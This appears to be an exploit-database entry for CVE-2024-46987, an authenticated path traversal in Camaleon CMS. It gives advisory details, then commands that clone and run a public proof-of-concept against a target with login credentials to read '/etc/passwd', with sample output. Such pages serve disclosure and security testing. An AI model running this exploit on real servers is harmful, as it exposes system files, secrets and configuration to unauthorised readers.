# CVE-2024-46987 - Camaleon CMS (Path Traversal)

- **URL:** https://hackindex.io/vulnerabilities/CVE-2024-46987
- **CVE:** CVE-2024-46987
- **GHSA:** GHSA-cp65-5m9r-vc2c
- **CVSS score:** 6.5
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- **Type:** CWE-22
- **Complexity:** Low
- **Privileges:** Low
- **Affected versions:** < 2.8.1
- **Patched versions:** 2.8.1
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2024-46987 is an authenticated path traversal bug in Camaleon CMS where the “download private file” endpoint builds a file path from user input without properly preventing `../` style traversal, letting a logged-in attacker download arbitrary files from the web server (as permitted by filesystem rights). It causes information disclosure, often exposing configs, secrets, and source code that can be used for further compromise.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Read Files

**[Goultarde/CVE-2024-46987](https://github.com/Goultarde/CVE-2024-46987?utm_source=hackindex)** - Path Traversal bug PoC exploit 

```bash
git clone https://github.com/Goultarde/CVE-2024-46987.git
cd CVE-2024-46987
python3 -m venv .venv
source .venv/bin/activate
pip3 install requests
python3 CVE-2024-46987.py -u http://$TARGET -l $USER -p $PASSWORD -v '/etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# sys:x:3:3:sys:/dev:/usr/sbin/nologin
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/usr/sbin/nologin
# man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
# lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
# mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
# news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
# uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
# proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
# list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
# irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
# _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
# nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
# systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
# usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
# systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
# ...
```